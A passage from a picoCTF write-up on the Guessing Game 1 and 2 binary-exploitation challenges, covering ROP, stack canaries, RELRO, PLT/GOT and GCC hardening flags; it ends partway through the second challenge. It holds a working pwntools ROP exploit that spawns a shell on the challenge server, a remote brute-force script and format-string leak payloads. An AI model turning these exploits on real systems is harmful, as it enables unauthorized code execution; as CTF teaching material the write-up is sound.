This was my first time solving a ROP challenge with a canary.
In this writeup, I explain the solutions to the picoCTF Guessing Game 1 and 2 challenges.
I’ll cover ROP, canaries, GCC flags, static and dynamic linking, PLT & GOT, RELRO, and much more.
I recommend reading my previous ret2libc post here before reading this.
Guessing Game 1
file + checksec + C code
A 64 bit ELF file is given.
file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=94924855c14a01a7b5b38d9ed368fba31dfd4f60, not stripped
Here’s the checksec result. We can’t use shellcode because NX is turned on.
checksec vuln
[*] '/picoctf/guessing_game/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
You can also make the ELF file yourself with the makefile.
Just install make on your *nix system and run make.
I know how to use makefiles, but I’m not too familiar with it.
If you want to understand what make is, read this.
makefile + GCC flags
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
Here are the gcc flags used in the make file.
-m64 (machine 64 bit) creates a 64 bit ELF
-fno-stack-protector (no canary)
-O0 (no compiler optimization)
-no-pie (Not a position independent executable)
-static (statically linked)
Linking (Static vs Dynamic)
The binary is a statically linked file.
What is static linking?
There are 2 types of linking (Static and Dynamic).
Statically linked binaries have all the necessary libraries copied in the ELF file.
Since it has all the library files inside the ELF file it’s easy to port the binary to other systems.
However, since all the library files are inside the ELF executable itself, the files are generally larger than dynamically linked files.
I made a dynamically linked version of vuln the command below.
I only got rid of the -static flag and the -m64 flag.
gcc -fno-stack-protector -O0 -no-pie -o dynamic_vuln vuln.c
vuln is the statically linked file that picoCTF gave me.
dynamic_vuln is the dynamically linked file that I made up.
du -h vuln
836K vuln
du -h dynamic_vuln
20K dynamic_vuln
You can tell that the statically linked binary is almost 42 times bigger in size.
Exploit Explanation
A BOF can be exploited in the win function.
#define BUFSIZE 100
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
Let’s run the binary.
./vuln
Welcome to my guessing game!
What number would you like to guess?
3
Nope!
What number would you like to guess?
I need to get the guess the correct number, or else the program will continue to ask until I get it right.
Let’s find out what the random value is.
b get_random
r
finish
p $rax
gef➤ p $rax
$1 = 0x53
The get_random function will return 0x53(83) every time you run the binary because, the random function doesn’t have a seed value.
Even though it returns 0x53(83), you have to pass 0x54(84) because the increment functions adds 1 to the return value of get_random.
Let’s run the binary again, now we’ll pass the first check because I know the random number.
./vuln
Welcome to my guessing game!
What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!
New winner!
Name? hwkim301
Congrats hwkim301
How do we get a shell though?
There isn’t a system function that I can use to pop a shell…
However, there’s a method we can use called ROP.
If there are available gadgets for ROP, we can chain the gadgets and control the instruction pointer by manipulating the stack.
Normally people call execve because it creates a child process to run the programs you usually want to run like '/bin/sh.
Since execve is a syscall setting the register execve needs and triggering the syscall with the syscall instruction will let you run programs you want.
Here’s the process of setting up execve("/bin/sh",0,0) using ROP.
A BOF overwrites the return address on the stack
The program tries to return, but instead jumps to my first gadget ex)
pop rax; retpop rax; retexecutes,raxis loaded with theexecvesyscall number from the stack andretjumps to the next address on the stackThis continues for
rdi,rsiandrdx, loading the/bin/shaddress and nulls for arguments and environmentsFinally the
syscall; retgadget is executed and the the kernel executesexecve("/bin/sh",NULL,NULL)popping a shell.
I’ve solve a couple of BOF problems before.
The return address were always at the size of buffer + 8 bytes for 64 bits (rbp+8) and (ebp+4) for 32 bits but for this problem it’s not.
The distance from winner(the buffer) to the return address is 120 bytes.
According to the disassembly although, although the buffer is only 100 bytes the program allocated 0x70(112) bytes.
On x86-64 the stack must be 16 byte aligned and the nearest multiple of 16 bigger than 100 is 112.
It needs to be 16 byte aligned, for stack alignment and space for other variables or saved registers.
There’s a nice explanation on why is has to be 16-byte aligned here.
gef➤ disass win
Dump of assembler code for function win:
0x0000000000400c40 <+0>: push rbp
0x0000000000400c41 <+1>: mov rbp,rsp
0x0000000000400c44 <+4>: sub rsp,0x70
0x0000000000400c48 <+8>: lea rdi,[rip+0x92478] # 0x4930c7
0x0000000000400c4f <+15>: mov eax,0x0
0x0000000000400c54 <+20>: call 0x410010 <printf>
0x0000000000400c59 <+25>: mov rdx,QWORD PTR [rip+0x2b9b48] # 0x6ba7a8 <stdin>
0x0000000000400c60 <+32>: lea rax,[rbp-0x70]
0x0000000000400c64 <+36>: mov esi,0x168
0x0000000000400c69 <+41>: mov rdi,rax
0x0000000000400c6c <+44>: call 0x410a10 <fgets>
0x0000000000400c71 <+49>: lea rax,[rbp-0x70]
0x0000000000400c75 <+53>: mov rsi,rax
0x0000000000400c78 <+56>: lea rdi,[rip+0x9245b] # 0x4930da
0x0000000000400c7f <+63>: mov eax,0x0
0x0000000000400c84 <+68>: call 0x410010 <printf>
0x0000000000400c89 <+73>: nop
0x0000000000400c8a <+74>: leave
0x0000000000400c8b <+75>: ret
End of assembler dump.
So to overwrite the return address we need 0x70+8(120) bytes.
We finished the first step, which was to overwrite the return address.
Now we need to set up the registers to call execve("/bin/sh",NULL,NULL).
How does execve("/bin/sh",NULL,NULL) call '/bin/sh'?
First, the OS needs to know the memory address where '/bin/sh' is stored.
Let’s find out where '/bin/sh' address is in the memory.
I ran strings -a -t x vuln | grep "/bin/sh" and it returned nothing.
This means the literal string "/bin/sh\x00" is not present in the vuln binary’s code or data sections at a fixed, known address.
Then we need to manually make the program write '/bin/sh' and then point to it.
The .bss section (and .data section) are the “blank spots” or “scratchpads” on your whiteboard.
They are designated areas for variables, and crucially, they are writable.
Since "/bin/sh" isn’t in .text or .rodata, you need a place to put it.
The .bss section is the perfect candidate because,
It’s writable, and its address is fixed and known in a statically linked, non-PIE binary
There are 2 ways to put "/bin/sh" in memory if it isn’t in .text or .rodata.
1. Using the read sysall
This is like telling your program:
“Hey, take the next 8 bytes you receive from standard input. (Your keyboard, or my exploit script) and write them into 0x6b7000 (the bss address).”
Your ROP chain sets up the read syscall read(0, bss_addr, 8).
Then, after the payload is sent, you send "/bin/sh\x00" as a separate input.
The read syscall catches it and places it into bss.
2. Using mov gadgets
This is like telling your program: “Take the value I’ve cleverly placed in a register (like rdx), and copy it directly into memory at 0x6b7000 (the bss address).”
Your ROP chain sets up rdi to point to 0x6b7000 and rdx to hold "/bin/sh\x00" (which you literally put on the stack as part of your ROP chain).
Then, a mov [rdi], rdx gadget executes, performing the copy.
Now that we’ve placed '/bin/sh' in memory we can call the execve sycall.
Here’s the code for setting up the execve syscall.
It’s relatively simpler than writing '/bin/sh' to memory.
payload += p64(pop_rax)
payload += p64(0x3B) # execve syscall number 0x59
payload += p64(pop_rdi)
payload += p64(bss) # we need to set rdi to the address of "/bin/sh" which is in the bss
payload += p64(pop_rsi)
payload += p64(0) # rsi should be NULL(0) for execve
payload += p64(pop_rdx)
payload += p64(0) # rdx should be NULL(0) for execve
payload += p64(syscall) # run the syscall
Exploit Code
from pwn import *
r = remote('jupiter.challenges.picoctf.org', 39940)
e = ELF('./vuln')
rop_chain = ROP('./vuln')
pop_rdi = rop_chain.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop_chain.find_gadget(['pop rsi', 'ret']).address
pop_rdx = rop_chain.find_gadget(['pop rdx', 'ret']).address
pop_rax = rop_chain.find_gadget(['pop rax', 'ret']).address
syscall = rop_chain.find_gadget(['syscall']).address
mov_rdi_rdx = 0x0000000000436393 # pwntools rop_chain class cannot find this gadget, so I found it manually with rop_chaingadget ...
bss = e.bss()
payload = b'A' * (0x70 + 8) # offset from the start of the buffer to the return address
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += b'/bin/sh\x00'
payload += p64(mov_rdi_rdx)
payload += p64(pop_rax)
payload += p64(0x3B) # execve syscall number 0x59
payload += p64(pop_rdi)
payload += p64(bss) # we need to set rdi to the address of '/bin/sh' which is in the bss
payload += p64(pop_rsi)
payload += p64(0) # rsi should be NULL(0) for execve
payload += p64(pop_rdx)
payload += p64(0) # rdx should be NULL(0) for execve
payload += p64(syscall) # run the syscall
r.sendline(b'84')
r.sendlineafter(b'Name?', payload)
r.interactive()
# picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_8cd37a0911d46b6b}`
After thought
I learned a lot in this challenge.
It was super hard but still more doable then the filtered shellcode challenge.
I looked at almost all the writeups online lol.
Each writeup has a certain piece of information that other writeups don’t have.
Don’t be too hard on your self even if you struggle or have a hard time with this challenge , ROP is very hard.
Further Reading
A Chinese writeup using mov instruction to put /bin/sh in memory.
A Korean writeup using the read syscall to put /bin/sh in memory.
A Japanese writeup explaining why the offset is 120.
A nice, detailed writeup in traditional Chinese.
Guessing Game 2
file + checksec + C code
Unlike guessing game1, it’s a 32 bit dynamically ELF.
file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=24c4fa8500082ef048a420baadc6a3d777d39f34, not stripped
checksec vuln
[*] '/home/picoctf/pwn/guessing_game2/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
The source code is provided.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Makefile
They also gave us a Makefile, let’s check that out first.
all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
clean:
rm vuln
We know the flag -m32, -no-pie and -o but what are the -Wl -z relro -z now flags.
If you use the gcc -Wl -z rerlro and gcc -z now to compile the binary, the binary becomes Full Relro.
That means we can’t overwrite the GOT.
GCC Flags
Now let’s breakdown what each flag means.
gcc -Wl -z relro
-Wl is a GCC flag that tells the compiler to pass the options after it directly to the linker (ld).
I’m not sure what the ‘W’ stands for but the l stands for linker.
-z relro this linker options stands for RELocation Read-Only this is the flag that makes certain sections of the binary read only after the dynamic linker resolves symbols.
-z now this linker options stands for Bind Now. It tells the dynamic linker to resolve all dynamic symbols when the program is first loaded, than doing it lazily(one by one as functions are called).
Wow, the explanations for -z relro and -z now are kind of hard to understand.
I’ll try to rephrase it so normal people like you and I can understand.
ELF files use the PLT and GOT to find resolve or find addresses of functions.
Let me try to explain it as easily as possible, I will not explain the details.
When we run an ELF file we actually don’t know what the memory address of functions are until that function is used.
Dynamically linked binaries(the majority of ELFs) use the PLT(Procedural Linkage Table) which are stubs (short codes) in the binary if it’s the first time calling a certain function.
After calling the PLT it will jump to the address in GOT.
Then it will update the plt@got entry, from now on when the binary calls the function twice it won’t need to use the plt and can use the memory address from the plt@got.
If you don’t pass the gcc -Wl -z now flag the addresses of the functions used in the binary will be resolved when it’s called using the PLT and GOT.
However by passing the gcc -Wl -z now flag it will resolved the addresses of the functions at the very beginning.
gcc -z relro sets the GOT to read-only.
readelf --program-header --wide vuln
Elf file type is EXEC (Executable file)
Entry point 0x8048520
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00c20 0x00c20 R E 0x1000
LOAD 0x000ebc 0x08049ebc 0x08049ebc 0x0014c 0x00150 RW 0x1000
DYNAMIC 0x000ec4 0x08049ec4 0x08049ec4 0x000f8 0x000f8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000a0c 0x08048a0c 0x08048a0c 0x0006c 0x0006c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000ebc 0x08049ebc 0x08049ebc 0x00144 0x00144 R 0x1
You can see that it has a R for read-only.
GNU_RELRO 0x000ebc 0x08049ebc 0x08049ebc 0x00144 0x00144 R 0x1
I noticed another interesting fact that when compiling an ELF using gcc on Ubuntu(24.04) without passing any flags, it enables all the secruity flags by default.
I wrote this example program then compiled it with gcc hello.c
#include <stdio.h>
int main(){
printf("hello");
}
Here’s the checksec result.
checksec a.out
[*] '/root/picoctf/a.out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
The binary has Full RELRO, NX and PIE enabled, the only security feature it doesn’t have is the stack canary.
I previously thought you had to pass the -Wl -z now, -Wl -z relro flag for Full RELRO,
-fstack-protector to enable the canary and -pie flag to make the ELF a position independant executable.
I then thought even when I run the default command (gcc hello.c) without any optimization or passing any flags at all, gcc passes the flags for security features on itself by default.
To find out if I was right, I checked what the actual command was using gcc -v.
gcc -v hello.c
This was the result, it’s long and hard to read…
gcc -v hello.c
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-linux-gnu/13/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 13.3.0-6ubuntu2~24.04' --with-bugurl=file:///usr/share/doc/gcc-13/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-13 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/libexec --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-libstdcxx-backtrace --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-13-fG75Ri/gcc-13-13.3.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/gcc-13-fG75Ri/gcc-13-13.3.0/debian/tmp-gcn/usr --enable-offload-defaulted --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=2
Thread model: posix
Supported LTO compression algorithms: zlib zstd
gcc version 13.3.0 (Ubuntu 13.3.0-6ubuntu2~24.04)
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a-'
/usr/libexec/gcc/x86_64-linux-gnu/13/cc1 -quiet -v -imultiarch x86_64-linux-gnu hello.c -quiet -dumpdir a- -dumpbase hello.c -dumpbase-ext .c -mtune=generic -march=x86-64 -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o /tmp/cc3YL5pl.s
GNU C17 (Ubuntu 13.3.0-6ubuntu2~24.04) version 13.3.0 (x86_64-linux-gnu)
compiled by GNU C version 13.3.0, GMP version 6.3.0, MPFR version 4.2.1, MPC version 1.3.1, isl version isl-0.26-GMP
GGC heuristics: --param ggc-min-expand=95 --param ggc-min-heapsize=122344
ignoring nonexistent directory "/usr/local/include/x86_64-linux-gnu"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/include-fixed/x86_64-linux-gnu"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/include-fixed"
ignoring nonexistent directory "/usr/lib/gcc/x86_64-linux-gnu/13/../../../../x86_64-linux-gnu/include"
#include "..." search starts here:
#include <...> search starts here:
/usr/lib/gcc/x86_64-linux-gnu/13/include
/usr/local/include
/usr/include/x86_64-linux-gnu
/usr/include
End of search list.
Compiler executable checksum: 38987c28e967c64056a6454abdef726e
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a-'
as -v --64 -o /tmp/ccFPRWin.o /tmp/cc3YL5pl.s
GNU assembler version 2.42 (x86_64-linux-gnu) using BFD version (GNU Binutils for Ubuntu) 2.42
COMPILER_PATH=/usr/libexec/gcc/x86_64-linux-gnu/13/:/usr/libexec/gcc/x86_64-linux-gnu/13/:/usr/libexec/gcc/x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/13/:/usr/lib/gcc/x86_64-linux-gnu/
LIBRARY_PATH=/usr/lib/gcc/x86_64-linux-gnu/13/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../../lib/:/lib/x86_64-linux-gnu/:/lib/../lib/:/usr/lib/x86_64-linux-gnu/:/usr/lib/../lib/:/usr/lib/gcc/x86_64-linux-gnu/13/../../../:/lib/:/usr/lib/
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a.'
/usr/libexec/gcc/x86_64-linux-gnu/13/collect2 -plugin /usr/libexec/gcc/x86_64-linux-gnu/13/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/13/lto-wrapper -plugin-opt=-fresolution=/tmp/ccgk4h1k.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/13/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/13 -L/usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/13/../../../../lib -L/lib/x86_64-linux-gnu -Llib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/13/../../.. /tmp/ccFPRWin.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/13/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/13/../../../x86_64-linux-gnu/crtn.o
COLLECT_GCC_OPTIONS='-v' '-mtune=generic' '-march=x86-64' '-dumpdir' 'a.'
-pie -z now -z relro
Aha, and as I expected you can see it passed the -pie -z now -z relro flag.
The gcc flag to for the canary was found as well.
-stack-protector-strong
After some research I found out that it isn’t gcc that’s enabling all the security features it’s actually the OS(Ubuntu) that’s actually enabling these security features by default.
Here’s a documentation on which security feature Ubuntu enables on default.
- NX(Non-eXecutable Stack)
NX is the oldest default security feature enabled.
Nx has been active on all supported architectures since Ubuntu 6.06 LTS
- RELRO
-Wl -z relro
The feature to make the GOT read-only has been enabeld since Ubuntu 8.10
-Wl -z now
This flag is a security feature that turns off default lazy linking.
It forces the program to resolve, or ‘fix,’ all function addresses at startup and write them into the Global Offset Table (GOT) before any code runs.
This hardens the binary against common GOT overwrite attacks that exploit the lazy resolution process.
To make the binary Full RELRO you need to pass both -Wl -z relro -Wl -z now when compiling it.
file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=24c4fa8500082ef048a420baadc6a3d777d39f34, not stripped
The security features that are enabled are also quite different from guessing game1.
Now we can finally understand what each and every secruity means.
Everything except PIE is enabled.
checksec vuln
[*] '/picoctf/guessing_game2/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Here’s the C code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Here’s the disassembly for the do_stuff function.
gef➤ disass do_stuff
Dump of assembler code for function do_stuff:
0x0804865f <+0>: push ebp
0x08048660 <+1>: mov ebp,esp
0x08048662 <+3>: push ebx
0x08048663 <+4>: sub esp,0x214
0x08048669 <+10>: call 0x8048570 <__x86.get_pc_thunk.bx>
0x0804866e <+15>: add ebx,0x194e
0x08048674 <+21>: mov eax,gs:0x14
0x0804867a <+27>: mov DWORD PTR [ebp-0xc],eax
0x0804867d <+30>: xor eax,eax
0x0804867f <+32>: call 0x8048636 <get_random>
0x08048684 <+37>: mov edx,eax
0x08048686 <+39>: mov eax,edx
0x08048688 <+41>: sar eax,0x1f
0x0804868b <+44>: shr eax,0x14
0x0804868e <+47>: add edx,eax
0x08048690 <+49>: and edx,0xfff
0x08048696 <+55>: sub edx,eax
0x08048698 <+57>: mov eax,edx
0x0804869a <+59>: add eax,0x1
0x0804869d <+62>: mov DWORD PTR [ebp-0x214],eax
0x080486a3 <+68>: mov DWORD PTR [ebp-0x218],0x0
0x080486ad <+78>: sub esp,0xc
0x080486b0 <+81>: lea eax,[ebx-0x167c]
0x080486b6 <+87>: push eax
0x080486b7 <+88>: call 0x80484c0 <puts@plt>
0x080486bc <+93>: add esp,0x10
0x080486bf <+96>: mov eax,DWORD PTR [ebx+0x38]
0x080486c5 <+102>: mov eax,DWORD PTR [eax]
0x080486c7 <+104>: sub esp,0x4
0x080486ca <+107>: push eax
0x080486cb <+108>: push 0x200
0x080486d0 <+113>: lea eax,[ebp-0x20c]
0x080486d6 <+119>: push eax
0x080486d7 <+120>: call 0x8048490 <fgets@plt>
0x080486dc <+125>: add esp,0x10
0x080486df <+128>: sub esp,0xc
0x080486e2 <+131>: lea eax,[ebp-0x20c]
0x080486e8 <+137>: push eax
0x080486e9 <+138>: call 0x80484e0 <atol@plt>
0x080486ee <+143>: add esp,0x10
0x080486f1 <+146>: mov DWORD PTR [ebp-0x210],eax
0x080486f7 <+152>: cmp DWORD PTR [ebp-0x210],0x0
0x080486fe <+159>: jne 0x8048714 <do_stuff+181>
0x08048700 <+161>: sub esp,0xc
0x08048703 <+164>: lea eax,[ebx-0x1657]
0x08048709 <+170>: push eax
0x0804870a <+171>: call 0x80484c0 <puts@plt>
0x0804870f <+176>: add esp,0x10
0x08048712 <+179>: jmp 0x8048752 <do_stuff+243>
0x08048714 <+181>: mov eax,DWORD PTR [ebp-0x210]
0x0804871a <+187>: cmp eax,DWORD PTR [ebp-0x214]
0x08048720 <+193>: jne 0x8048740 <do_stuff+225>
0x08048722 <+195>: sub esp,0xc
0x08048725 <+198>: lea eax,[ebx-0x163c]
0x0804872b <+204>: push eax
0x0804872c <+205>: call 0x80484c0 <puts@plt>
0x08048731 <+210>: add esp,0x10
0x08048734 <+213>: mov DWORD PTR [ebp-0x218],0x1
0x0804873e <+223>: jmp 0x8048752 <do_stuff+243>
0x08048740 <+225>: sub esp,0xc
0x08048743 <+228>: lea eax,[ebx-0x1604]
0x08048749 <+234>: push eax
0x0804874a <+235>: call 0x80484c0 <puts@plt>
0x0804874f <+240>: add esp,0x10
0x08048752 <+243>: mov eax,DWORD PTR [ebp-0x218]
0x08048758 <+249>: mov ecx,DWORD PTR [ebp-0xc]
0x0804875b <+252>: xor ecx,DWORD PTR gs:0x14
0x08048762 <+259>: je 0x8048769 <do_stuff+266>
0x08048764 <+261>: call 0x8048910 <__stack_chk_fail_local>
0x08048769 <+266>: mov ebx,DWORD PTR [ebp-0x4]
0x0804876c <+269>: leave
0x0804876d <+270>: ret
End of assembler dump.
long ans = (get_random() % 4096) + 1;
int res = 0;
The c code calls get_random and then takes the modulus by dividing it with 4096 and adds a 1.
The corresponding instructions to the c code is this, you can see it adds 0x1 in the last instruction.
0x0804867f <+32>: call 0x8048636 <get_random>
0x08048684 <+37>: mov edx,eax
0x08048686 <+39>: mov eax,edx
0x08048688 <+41>: sar eax,0x1f
0x0804868b <+44>: shr eax,0x14
0x0804868e <+47>: add edx,eax
0x08048690 <+49>: and edx,0xfff
0x08048696 <+55>: sub edx,eax
0x08048698 <+57>: mov eax,edx
0x0804869a <+59>: add eax,0x1
Since the eax register stores the random value and copies that to [ebp-0x214], we can set a break point right after that instruction and inspect the value with gdb to find the random value.
0x0804869d <+62>: mov DWORD PTR [ebp-0x214],eax
0x080486a3 <+68>: mov DWORD PTR [ebp-0x218],0x0
gef➤ b * 0x080486a3
Breakpoint 1 at 0x80486a3
gef➤ r
The random value is -863. I think everyone get’s a different random value.
gef➤ x/d $ebp-0x214
0xffffc6a4: -863
./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-863
Congrats! You win! Your prize is this print statement!
New winner!
Name? hwkim301
Congrats: hwkim301
I tried entering the random number I found using gdb to the remote binary but it wasn’t the correct number.
It looks like the binary on remote uses a different random number.
According to Gemini, using different libc files result in different random values because the implementation of the random function doesn’t use a single, universal formula.
So basically we have to brute-force the random number from the binary on remote.
nc shape-facility.picoctf.net 56112
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-863
Nope!
from pwn import *
r = remote('shape-facility.picoctf.net', 63781)
def brute_force():
for i in range(-4096, 4096):
r.sendlineafter(b'guess?\n', str(i).encode())
resp = r.recvline(timeout=2)
print(f'Tried {i}: {resp.decode().strip()}')
if 'Nope!' not in resp.decode():
print(f'random number is {i}')
break
brute_force()
# Tried -3727: Congrats! You win! Your prize is this print statement!
# random number is -3727
Now that we know the random number, we need to leak the canary.
./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-863
Congrats! You win! Your prize is this print statement!
New winner!
Name? AAAA %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p
Congrats: AAAA 0x200 0xf7ed45c0 0x804877d 0x1 0xfffffca1 0xfffffca1 0x41414141 0x24312520
What number would you like to guess?
Here’s the disassembly for the win function.
gef➤ disass win
Dump of assembler code for function win:
0x0804876e <+0>: push ebp
0x0804876f <+1>: mov ebp,esp
0x08048771 <+3>: push ebx
0x08048772 <+4>: sub esp,0x214
0x08048778 <+10>: call 0x8048570 <__x86.get_pc_thunk.bx>
0x0804877d <+15>: add ebx,0x183f
0x08048783 <+21>: mov eax,gs:0x14
0x08048789 <+27>: mov DWORD PTR [ebp-0xc],eax
0x0804878c <+30>: xor eax,eax
0x0804878e <+32>: sub esp,0xc
0x08048791 <+35>: lea eax,[ebx-0x15fd]
0x08048797 <+41>: push eax
0x08048798 <+42>: call 0x8048470 <printf@plt>
0x0804879d <+47>: add esp,0x10
0x080487a0 <+50>: sub esp,0xc
0x080487a3 <+53>: lea eax,[ebp-0x20c]
0x080487a9 <+59>: push eax
